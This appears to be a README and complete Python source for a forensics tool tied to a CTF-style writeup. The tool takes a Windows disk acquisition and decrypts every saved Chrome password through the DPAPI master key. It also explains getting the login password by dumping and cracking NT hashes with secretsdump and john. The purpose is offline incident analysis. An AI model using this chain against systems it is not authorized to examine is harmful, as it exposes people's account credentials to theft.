Companion tool to the Management Wants a Word writeup. Given a user's login password, their SID, and three files pulled from a dead-box acquisition, it walks the DPAPI chain and prints every saved Chrome credential.
login password ─▶ DPAPI master key ─▶ Chrome AES key (Local State) ─▶ AES-256-GCM decrypt (Login Data)
Pure Python — no dm-crypt, no AF_ALG, no kernel extension. It runs identically on macOS and in a Linux forensics VM, which matters when your analysis box isn't the acquisition host.
Use
pip install impacket pycryptodome
python3 chrome_dpapi_decrypt.py \
--password <login-pass> \
--sid <SID> \
--masterkey "<KAPE>/Users/<user>/AppData/Roaming/Microsoft/Protect/<SID>/<GUID>" \
--localstate "<KAPE>/.../Chrome/User Data/Local State" \
--logindata "<KAPE>/.../Chrome/User Data/Default/Login Data"
Finding the inputs
The <login-pass> comes from cracking the local NT hash (impacket-secretsdump → john -format=NT). The master-key <GUID> is the file in the Protect folder that is not named Preferred. The <SID> is the folder name that wraps it.
The two traps
deriveKeysFromUser returns three keys
impacket.dpapi.deriveKeysFromUser() hands back three candidate keys — SHA1-, MD4/NTLM- and legacy-derived — not two. The tool loops over all of them until the master key decrypts. Assume two and you'll fail on accounts that don't use the "obvious" derivation.
v10 vs legacy blobs
Modern Chrome password blobs start v10/v11 (AES-256-GCM, key from Local State). Older values are DPAPI-per-value and need a different path — the tool flags those instead of silently mangling them.
Source
#!/usr/bin/env python3
"""
chrome_dpapi_decrypt.py — recover Chrome-saved passwords from an offline
Windows (KAPE) acquisition, on macOS/Linux. Pure Python, no dm-crypt/kext.
DPAPI chain:
user login password ─▶ DPAPI master key ─▶ Chrome AES key (Local State)
─▶ AES-256-GCM decrypt of Login Data (v10 blobs)
Deps: pip install impacket pycryptodome
Usage:
python3 chrome_dpapi_decrypt.py \
--password <login-pass> \
--sid <SID> \
--masterkey "<KAPE>/Users/<user>/AppData/Roaming/Microsoft/Protect/<SID>/<GUID>" \
--localstate "<KAPE>/.../Chrome For Testing/User Data/Local State" \
--logindata "<KAPE>/.../Chrome For Testing/User Data/Default/Login Data"
Tip: find the master key GUID (skip the 'Preferred' file):
ls "<KAPE>/Users/<user>/AppData/Roaming/Microsoft/Protect/<SID>/"
"""
import argparse, json, base64, sqlite3, tempfile, shutil, sys
from impacket.dpapi import MasterKeyFile, MasterKey, DPAPI_BLOB, deriveKeysFromUser
from Crypto.Cipher import AES
def decrypt_masterkey(mk_path, sid, password):
blob = open(mk_path, 'rb').read()
mkf = MasterKeyFile(blob); rest = blob[len(mkf):]
mk = MasterKey(rest[:mkf['MasterKeyLen']])
keys = deriveKeysFromUser(sid, password) # SHA1-, MD4(NTLM)- and legacy-based
for k in keys:
dec = mk.decrypt(k)
if dec:
return dec
raise SystemExit("[!] Master key decrypt failed — wrong password or SID?")
def chrome_aes_key(local_state_path, master_key):
enc = base64.b64decode(json.load(open(local_state_path))['os_crypt']['encrypted_key'])
blob = DPAPI_BLOB(enc[5:]) # strip the 'DPAPI' prefix
return blob.decrypt(master_key)
def dump_logins(login_data_path, aes_key):
tmp = tempfile.mktemp(suffix='.db'); shutil.copy(login_data_path, tmp)
con = sqlite3.connect(tmp)
rows = []
for url, user, pw in con.execute(
'SELECT origin_url, username_value, password_value FROM logins'):
if pw[:3] in (b'v10', b'v11'): # AES-256-GCM
nonce, ct, tag = pw[3:15], pw[15:-16], pw[-16:]
plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ct, tag)
rows.append((url, user, plain.decode('utf-8', 'replace')))
else:
rows.append((url, user, '<legacy/DPAPI-per-value — not handled>'))
return rows
def main():
ap = argparse.ArgumentParser()
ap.add_argument('--password', required=True)
ap.add_argument('--sid', required=True)
ap.add_argument('--masterkey', required=True)
ap.add_argument('--localstate', required=True)
ap.add_argument('--logindata', required=True)
a = ap.parse_args()
mk = decrypt_masterkey(a.masterkey, a.sid, a.password)
print(f"[+] Master key decrypted ({len(mk)} bytes)")
aes = chrome_aes_key(a.localstate, mk)
print(f"[+] Chrome AES key: {aes.hex()}")
print("[+] Saved credentials:")
for url, user, pw in dump_logins(a.logindata, aes):
print(f" URL : {url}\n USER: {user}\n PASS: {pw}\n ---")
if __name__ == '__main__':
main()
Scope
Only run this against systems and images you're authorized to analyse. Credential recovery on someone else's machine is exactly the crime the blue side is paid to catch.